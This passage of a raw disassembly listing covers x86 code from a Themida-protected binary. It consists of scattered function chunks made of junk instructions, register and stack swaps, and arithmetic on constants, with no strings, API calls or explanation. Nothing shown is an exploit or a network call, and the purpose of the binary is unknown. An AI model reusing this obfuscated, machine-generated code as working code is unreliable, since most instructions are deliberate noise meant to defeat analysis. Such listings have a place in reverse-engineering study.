--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E0B0 loc_560945: ; CODE XREF: sub_56E0B0-277Fj xor edx, 0AA7088Eh jmp loc_563555 ; END OF FUNCTION CHUNK FOR sub_56E0B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572641 loc_560950: ; CODE XREF: sub_572641-6211j mov edx, [esp+0] push 4DC5h mov [esp+4+var_4], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+4+var_4] pop esp push edx mov edx, esp add edx, 4 sub edx, 4 xor edx, [esp+4+var_4] xor [esp+4+var_4], edx xor edx, [esp+4+var_4] pop esp mov [esp+0], ebx push edx mov dl, 39h xor dl, 0ABh neg dl or dl, 36h dec dl push dx not byte ptr [esp+6+var_8+2] mov dx, word ptr [esp+6+var_8+2] jmp loc_565693 ; END OF FUNCTION CHUNK FOR sub_572641 ; =============== S U B R O U T I N E ======================================= sub_5609A1 proc near ; CODE XREF: sub_5620B7+DA9Dj var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056CC03 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 005712E2 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00573B74 SIZE 00000009 BYTES push ebx mov ebx, 433C4466h jmp loc_573B74 sub_5609A1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_5609AC: ; CODE XREF: sub_571F6F-2E89j pop edx push [esp+8+var_8] jmp loc_5641A4 ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_5609B5: ; CODE XREF: sub_565632+6A74j add esi, 4 sub esi, 4 xchg esi, [esp+0] pop esp mov [esp-4+arg_0], ebp not [esp-4+arg_0] pop ebp push ebp push [esp-4+arg_4] pop ebp pop [esp-4+arg_0] push [esp-8+arg_4] mov eax, [esp-4+arg_0] jmp loc_570305 ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- loc_5609DD: ; CODE XREF: Themida_:00568FA2j add dword ptr [esp], 4 push dword ptr [esp] pop eax jmp loc_56CB02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_5609EA: ; CODE XREF: sub_5605BC+13AEBj push 764Ch mov [esp+0Ch+var_C], ebx push esp pop ebx jmp loc_56EC21 ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- loc_5609F9: ; CODE XREF: Themida_:00561613j add eax, 4 jmp loc_570489 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560056 loc_560A03: ; CODE XREF: sub_560056+13F50j pop esi jmp loc_567724 ; END OF FUNCTION CHUNK FOR sub_560056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574CDD loc_560A09: ; CODE XREF: sub_574CDD-A7E0j pop eax push edi not [esp+0Ch+var_C] pop edi shr edi, 3 jmp loc_567C9E ; END OF FUNCTION CHUNK FOR sub_574CDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5604FE loc_560A17: ; CODE XREF: sub_5604FE+14F37j mov edi, 55D7554Ch and edi, 2D009B8h sub edi, 601E2366h xchg ecx, edi not ecx xchg ecx, edi not edi jmp loc_56E319 ; END OF FUNCTION CHUNK FOR sub_5604FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F3B2 loc_560A35: ; CODE XREF: sub_56F3B2-2584j add esp, 4 sub esp, 4 mov [esp+4+var_4], ebx jmp loc_5671B2 ; END OF FUNCTION CHUNK FOR sub_56F3B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD44 loc_560A43: ; CODE XREF: sub_56BD44-AAD0j add ecx, edi pop edi add ecx, 4 xchg ecx, [esp+8+var_8] pop esp xchg eax, [esp+4+var_4] jmp loc_56997A ; END OF FUNCTION CHUNK FOR sub_56BD44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5745B5 loc_560A58: ; CODE XREF: sub_5745B5+1j push edx push ecx jmp loc_56A13E ; END OF FUNCTION CHUNK FOR sub_5745B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563819 loc_560A5F: ; CODE XREF: sub_563819-2A26j add eax, 29DB4243h jmp loc_56260C ; END OF FUNCTION CHUNK FOR sub_563819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56331C loc_560A69: ; CODE XREF: sub_56331C+F543j xchg ebx, [esp+0] pop esp sub eax, 4 xchg eax, [esp-4+arg_0] pop esp mov [esp-8+arg_4], edx push 7BF81C5Bh mov edx, [esp-4+arg_0] jmp loc_56B3B6 ; END OF FUNCTION CHUNK FOR sub_56331C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CC46 loc_560A84: ; CODE XREF: sub_56CC46-B4D8j mov edx, 56052D42h add edx, 0C6914C19h xor ebp, edx pop edx xor ebp, 4074044Dh add ecx, ebp mov ebp, [esp+0Ch+var_C] add esp, 4 shr ecx, 2 push edi mov edi, 22575CCh sub ecx, edi mov edi, [esp+0Ch+var_C] add esp, 4 sub ecx, 71335301h inc ecx xor ecx, 0BEB718C2h sub ebx, 65EC3865h sub ebx, ecx add ebx, 65EC3865h pop ecx xchg ebx, [esp+4+var_4] mov esp, [esp+4+var_4] mov [esp-4+arg_0], edx push 11h jmp loc_566B48 ; END OF FUNCTION CHUNK FOR sub_56CC46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56102D loc_560AE6: ; CODE XREF: sub_56102D+9D44j shl eax, 8 jmp loc_56AA20 ; END OF FUNCTION CHUNK FOR sub_56102D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5631A3 loc_560AEE: ; CODE XREF: sub_5631A3-2D6Cj pop [esp+0Ch+var_C] pop esp jmp loc_5640F2 ; END OF FUNCTION CHUNK FOR sub_5631A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_560AF7: ; CODE XREF: sub_564D26+C24Cj mov [esp+20h+var_20], esi push 7E360679h jmp loc_57233B ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FB8A loc_560B04: ; CODE XREF: sub_56FB8A-5A02j neg ebx sub ebx, 6BA02385h add ebx, 0F3834224h add eax, ebx jmp loc_5664C1 ; END OF FUNCTION CHUNK FOR sub_56FB8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D4B8 loc_560B19: ; CODE XREF: sub_56D4B8+35C6j push dword ptr [esp+0] jmp loc_56AD12 ; END OF FUNCTION CHUNK FOR sub_56D4B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5610CE loc_560B21: ; CODE XREF: sub_5610CE+3F2Dj mov ebx, 2CCF5EBDh mov ebp, 151A4FF0h jmp loc_56508C ; END OF FUNCTION CHUNK FOR sub_5610CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_560B30: ; CODE XREF: sub_574304-DAE6j sub [esp+10h+var_C], 2E890F03h sub [esp+10h+var_C], ecx add [esp+10h+var_C], 2E890F03h mov ecx, [esp+10h+var_10] add esp, 4 mov edi, [esp+0Ch+var_C] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_5729B4 ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574949 loc_560B61: ; CODE XREF: sub_574949-13927j xor esi, 40487CC3h add edi, esi pop esi jmp loc_5733E8 ; END OF FUNCTION CHUNK FOR sub_574949 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_560B6F: ; CODE XREF: sub_57354D-4841j and eax, edx mov edx, [esp+8+var_8] add esp, 4 shr eax, 10h xor eax, ecx jmp loc_56596B ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5734A7 loc_560B84: ; CODE XREF: sub_5734A7+7j pop edi sub edi, 665E4601h shl edi, 5 jmp loc_571B8F ; END OF FUNCTION CHUNK FOR sub_5734A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574503 loc_560B93: ; CODE XREF: sub_574503-73CAj add edi, ebx jmp loc_575210 ; END OF FUNCTION CHUNK FOR sub_574503 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5733CA loc_560B9A: ; CODE XREF: sub_5733CA-CAB6j pop esp jmp loc_570925 ; END OF FUNCTION CHUNK FOR sub_5733CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_560BA0: ; CODE XREF: sub_568E5C+AA71j sub esi, edx sub esi, 51B715B1h pop edx xchg esi, [esp+0] jmp loc_56F187 ; END OF FUNCTION CHUNK FOR sub_568E5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DA36 loc_560BB1: ; CODE XREF: sub_56DA36+39CDj add esp, 4 jmp sub_56ACDE ; END OF FUNCTION CHUNK FOR sub_56DA36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_560BB9: ; CODE XREF: sub_561027+8C47j xchg ebx, [esp-4+arg_0] push [esp-4+arg_0] mov eax, [esp+0] jmp loc_562D37 ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566C83 loc_560BC7: ; CODE XREF: sub_566C83+1AAj or ebp, 2F853CA2h dec ebp xor ebp, 2FFD3FB9h add edx, ebp pop ebp jmp loc_5741C9 ; END OF FUNCTION CHUNK FOR sub_566C83 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_560BDC: ; CODE XREF: sub_56AB5E-80D3j movzx eax, al jmp loc_56CF46 ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560844 loc_560BE4: ; CODE XREF: sub_560844+BD35j add ecx, 0F593CDFBh add esi, ecx pop ecx push edx mov edx, 3DC4224Dh and edx, 77216FC7h jmp loc_568932 ; END OF FUNCTION CHUNK FOR sub_560844 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BDE9 loc_560BFE: ; CODE XREF: sub_56BDE9+11j pop edx xchg ebx, [esp+4+var_4] pop esp pop dword ptr [esp+0] mov esp, [esp-4+arg_0] shl [esp-4+arg_0], cl pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56BDE9 ; =============== S U B R O U T I N E ======================================= sub_560C12 proc near ; DATA XREF: Themida_:0055FD94o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0056022D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00561281 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005625CE SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00564659 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00565CC2 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00567FB6 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00568D7A SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056BF51 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0057156B SIZE 00000011 BYTES mov ax, [esp+0] push 6BBFh mov [esp+4+var_4], edi push ebx mov ebx, esp jmp loc_57156B sub_560C12 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_560C26: ; CODE XREF: sub_57549C-39F6j xor ecx, ebx jmp loc_57469F ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561541 loc_560C2D: ; CODE XREF: sub_561541+10848j pop ebx push eax push esp pop eax jmp loc_56147B ; END OF FUNCTION CHUNK FOR sub_561541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569B75 loc_560C36: ; CODE XREF: sub_569B75-9618j mov edi, 4 sub ebp, edi pop edi xchg ebp, [esp+0] pop esp mov [esp-4+arg_0], ecx mov ecx, 48C9CD95h xor eax, ecx mov ecx, [esp-4+arg_0] jmp sub_5687A3 ; END OF FUNCTION CHUNK FOR sub_569B75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56241E loc_560C54: ; CODE XREF: sub_56241E+547j mov cx, word ptr [esp+6+var_8+2] jmp loc_5623A1 ; END OF FUNCTION CHUNK FOR sub_56241E ; --------------------------------------------------------------------------- loc_560C5D: ; CODE XREF: Themida_:00563D8Cj shr ebp, 1 push eax mov eax, 20A76F35h add ebp, eax pop eax sub ebp, 83F0BF8h sub esp, 4 mov [esp], eax jmp loc_56E443 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567049 loc_560C7C: ; CODE XREF: sub_567049+DBECj add esi, 4 xchg esi, [esp+0] pop esp jmp loc_564467 ; END OF FUNCTION CHUNK FOR sub_567049 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5642C7 loc_560C8B: ; CODE XREF: sub_5642C7+9j pop ebx jmp loc_561B09 ; END OF FUNCTION CHUNK FOR sub_5642C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_560C91: ; CODE XREF: sub_56AEF2+9895j or esi, 19BE3A0Dh neg esi not esi add esi, 0E601C1F8h add ebp, esi pop esi xchg ebp, [esp-4+arg_0] jmp loc_57457B ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_562AF2 ; --------------------------------------------------------------------------- loc_560CB5: ; CODE XREF: Themida_:0056A114j add esp, 4 push edx jmp loc_5685C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_560CBE: ; CODE XREF: sub_5685B2-3DD2j push eax mov ah, 37h push ecx mov cl, 88h sub esp, 4 mov [esp+8+var_8], ebx mov bh, 61h sub cl, bh mov ebx, [esp+8+var_8] add esp, 4 neg cl jmp loc_56B615 ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_560CE1: ; CODE XREF: sub_561418+A796j mov edx, 36163Ah push ebp mov ebp, 1D2F056Dh jmp loc_56791A ; END OF FUNCTION CHUNK FOR sub_561418 ; =============== S U B R O U T I N E ======================================= sub_560CF1 proc near ; CODE XREF: sub_56FCD7-A7D1j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560789 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00561746 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005619AF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005639E7 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056568B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00565DBC SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056619E SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056A065 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056A5A9 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0056FEF4 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00570005 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0057033B SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00572AA6 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00573E7C SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0057478C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00575132 SIZE 0000000B BYTES sub esp, 4 mov [esp+4+var_4], edx push 5471h mov [esp+8+var_8], ecx mov ecx, 657717C1h mov edx, 657716C1h xor edx, ecx mov ecx, [esp+8+var_8] jmp loc_573E7C sub_560CF1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_560D16: ; CODE XREF: sub_561027+13589j pop edx push edi jmp loc_570A1B ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EFD2 loc_560D1D: ; CODE XREF: sub_56EFD2-671Ej add edi, ebp sub edi, 5D9A5487h push [esp+4+var_4] pop ebp add esp, 4 jmp loc_562F18 ; END OF FUNCTION CHUNK FOR sub_56EFD2 ; =============== S U B R O U T I N E ======================================= sub_560D31 proc near ; CODE XREF: sub_562954+105F5j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0056392A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005683DD SIZE 0000003F BYTES ; FUNCTION CHUNK AT 00568AAC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00568C2F SIZE 00000033 BYTES ; FUNCTION CHUNK AT 00570B05 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00573B7D SIZE 0000002A BYTES push ebx mov ebx, 636235EDh sub ebp, 32DD4972h add ebp, ebx push edi mov edi, 1B4359FBh neg edi sub edi, 1 xor edi, 0D661EF76h add ebp, edi pop edi jmp loc_570B05 sub_560D31 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563BCC loc_560D5B: ; CODE XREF: sub_563BCC+32AFj pop edi add edi, 4 jmp loc_566728 ; END OF FUNCTION CHUNK FOR sub_563BCC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56959A loc_560D67: ; CODE XREF: sub_56959A+19j mov [esp+0Ch+var_C], eax mov eax, 6CE405B1h and eax, 2C451168h inc eax and eax, 38F81530h jmp loc_572B7C ; END OF FUNCTION CHUNK FOR sub_56959A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56638C loc_560D7F: ; CODE XREF: sub_56638C+A749j add eax, 1A980468h add edx, eax pop eax push [esp+2+var_4+2] pop ebx add esp, 4 xor edx, [esp+0] xor [esp+0], edx xor edx, [esp+0] mov esp, [esp+0] movzx cx, al push small 95Fh mov [esp+0], cx jmp loc_5710F7 ; END OF FUNCTION CHUNK FOR sub_56638C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_560DAE: ; CODE XREF: sub_5685B2+3068j or ah, cl push [esp+4+var_4] pop ecx jmp loc_561B28 ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5604FE loc_560DB9: ; CODE XREF: sub_5604FE+C388j add esp, 4 xor ecx, [esp+4+var_4] xor [esp+4+var_4], ecx xor ecx, [esp+4+var_4] pop esp jmp loc_57434B ; END OF FUNCTION CHUNK FOR sub_5604FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560EA2 loc_560DCE: ; CODE XREF: sub_560EA2+11FA5j sub ecx, 68BC3DC5h sub ecx, ebx add ecx, 68BC3DC5h jmp loc_57100B ; END OF FUNCTION CHUNK FOR sub_560EA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_560DE1: ; CODE XREF: sub_571F6F-DDAFj pop ecx jmp loc_56DE94 ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563819 loc_560DE7: ; CODE XREF: sub_563819+6j mov eax, 57EC76A7h sub eax, 29DB4243h sub eax, ebp jmp loc_560A5F ; END OF FUNCTION CHUNK FOR sub_563819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_560DF8: ; CODE XREF: sub_561027+85A3j add esp, 4 push ecx mov ecx, 513E79FBh add ecx, 1195E843h add edx, ecx pop ecx push [esp-4+arg_0] pop ebp push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+0] pop esp and eax, edx pop edx jmp loc_572A28 ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5610CE loc_560E29: ; CODE XREF: sub_5610CE+1363Bj pop ebp add esi, 4 xor esi, [esp+4+var_4] jmp loc_563E62 ; END OF FUNCTION CHUNK FOR sub_5610CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DA43 loc_560E35: ; CODE XREF: sub_56DA43+43FCj add esi, 4 jmp loc_56505A ; END OF FUNCTION CHUNK FOR sub_56DA43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_560E40: ; CODE XREF: sub_5620B7+34ECj xor bl, al push 52AAh mov [esp], edx push 59C4471Dh pop edx add edx, 2BB05464h shr edx, 3 jmp loc_568C75 ; END OF FUNCTION CHUNK FOR sub_5620B7 ; --------------------------------------------------------------------------- loc_560E5E: ; CODE XREF: Themida_:00562355j push ebx jmp loc_573C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569FB8 loc_560E64: ; CODE XREF: sub_569FB8+3j push small 68B9h jmp loc_571BE6 ; END OF FUNCTION CHUNK FOR sub_569FB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_560E6D: ; CODE XREF: sub_57354D-63Bj push esi mov esi, 5C711D79h or esi, 57865D78h jmp loc_5682F5 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574000 loc_560E7E: ; CODE XREF: sub_574000-9BA4j not eax neg eax xor eax, 0CFF71D8h add esi, eax pop eax pop ebp jmp loc_570360 ; END OF FUNCTION CHUNK FOR sub_574000 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574949 loc_560E90: ; CODE XREF: sub_574949-FF16j sub cl, 0DAh inc cl push edx mov dh, 56h add dh, 0E0h not dh jmp loc_56514F ; END OF FUNCTION CHUNK FOR sub_574949 ; =============== S U B R O U T I N E ======================================= sub_560EA2 proc near ; DATA XREF: Themida_:0055FE48o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00560DCE SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00563060 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00563417 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005643DE SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005655C1 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 005679D6 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00568206 SIZE 00000050 BYTES ; FUNCTION CHUNK AT 0056B7F0 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0056BECD SIZE 0000004D BYTES ; FUNCTION CHUNK AT 0056D31C SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0056DDFE SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056EE17 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0057100B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00571792 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00572B46 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00572D66 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00572E36 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00573F4A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0057436C SIZE 0000002A BYTES ; FUNCTION CHUNK AT 00574DF9 SIZE 00000031 BYTES lodsd sub esp, 4 mov [esp+4+var_4], ebx mov ebx, 49C139Eh sub eax, ebx mov ebx, [esp+4+var_4] jmp loc_5679D6 sub_560EA2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_560EB8: ; CODE XREF: sub_574304-D7DDj mov ecx, 123A483Ch jmp loc_56D89C ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- mov ax, [esp] push 361Bh mov [esp], edi jmp loc_56A3E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_560ED3: ; CODE XREF: sub_5678CB+CE6Aj pop esp mov [esp-4+arg_0], edx mov dl, 0CAh sub bl, dl push [esp-4+arg_0] push dword ptr [esp+0] pop edx add esp, 4 push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+0] pop esp sub bl, 0F7h sub bl, al push eax jmp loc_561A2B ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B1DC loc_560F03: ; CODE XREF: sub_56B1DC+4F01j add esi, edi pop edi jmp loc_573642 ; END OF FUNCTION CHUNK FOR sub_56B1DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56657A loc_560F0B: ; CODE XREF: sub_56657A+390Fj pop ecx xchg ebx, [esp-4+arg_0] jmp loc_568FFA ; END OF FUNCTION CHUNK FOR sub_56657A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570621 loc_560F14: ; CODE XREF: sub_570621-E1D2j xchg ebp, [esp+8+var_8] pop esp mov [esp+4+var_4], esi mov esi, 4 add [esp+4], esi pop esi push dword ptr [esp+0] push [esp+4+var_4] mov edx, [esp+8+var_8] jmp loc_5625D6 ; END OF FUNCTION CHUNK FOR sub_570621 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B1DC loc_560F33: ; CODE XREF: sub_56B1DC+4A7Cj add esp, 4 jmp loc_566A41 ; END OF FUNCTION CHUNK FOR sub_56B1DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574CDD loc_560F3E: ; CODE XREF: sub_574CDD+6j mov eax, 4 add ebp, eax jmp loc_573C2B ; END OF FUNCTION CHUNK FOR sub_574CDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_560F4A: ; CODE XREF: sub_57354D-BCB9j pop ebp jmp loc_5709E4 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574FC9 loc_560F50: ; CODE XREF: sub_574FC9-BF63j xor edi, [esp+0Ch+var_C] xor [esp+0Ch+var_C], edi xor edi, [esp+0Ch+var_C] pop esp jmp loc_56DB8D ; END OF FUNCTION CHUNK FOR sub_574FC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D72 loc_560F5F: ; CODE XREF: sub_567D72-695Fj add esi, 4 jmp loc_56F65B ; END OF FUNCTION CHUNK FOR sub_567D72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_560F6A: ; CODE XREF: sub_574A21-11F34j mov edx, 4D362769h push ecx mov ecx, 52B92B40h shl ecx, 4 shr ecx, 3 sub ecx, 0FFFFFFFFh add ecx, 65C4D7C4h add edx, ecx pop ecx push edi jmp loc_56A51B ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_560F8D: ; CODE XREF: sub_564D26+2569j pop edi shl edx, 4 sub edx, 33577B90h jmp loc_56AA60 ; --------------------------------------------------------------------------- loc_560F9C: ; CODE XREF: sub_564D26+5D46j add esp, 4 shr eax, 0Ch xor eax, ecx push 3397h mov [esp+10h+var_10], eax jmp loc_56F231 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5648C6 loc_560FB1: ; CODE XREF: sub_5648C6-6ADj mov ebp, [esp+4+var_4] add esp, 4 jmp loc_56BB65 ; END OF FUNCTION CHUNK FOR sub_5648C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A7FB loc_560FBF: ; CODE XREF: sub_56A7FB-5C5Dj mov dh, 0A7h mov ch, 0B2h jmp loc_56296A ; END OF FUNCTION CHUNK FOR sub_56A7FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_560FC8: ; CODE XREF: sub_567D31+9022j add ebp, 2916934h xor ebp, 4F3B18F2h add ebp, 74760D45h jmp loc_5653B8 ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_560FDF: ; CODE XREF: sub_571088-1F81j mov [esp+4+var_4], edi mov edi, 4 sub ebp, 3B4154EFh sub ebp, edi push edi jmp loc_56F878 ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572E16 loc_560FF5: ; CODE XREF: sub_572E16-D8CEj pop edi xchg esi, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] mov [esp-4+arg_0], eax push ebx sub esp, 4 mov [esp+4+var_4], esi push ecx add [esp+8+var_8], 75D05E9Bh pop esi sub esi, 75D05E9Bh jmp loc_56AF59 ; END OF FUNCTION CHUNK FOR sub_572E16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574949 loc_56101D: ; CODE XREF: sub_574949-6F32j not ebx xchg ebx, esi dec esi jmp loc_560B61 ; END OF FUNCTION CHUNK FOR sub_574949 ; =============== S U B R O U T I N E ======================================= sub_561027 proc near ; CODE XREF: sub_560056+1E06j var_20 = dword ptr -20h 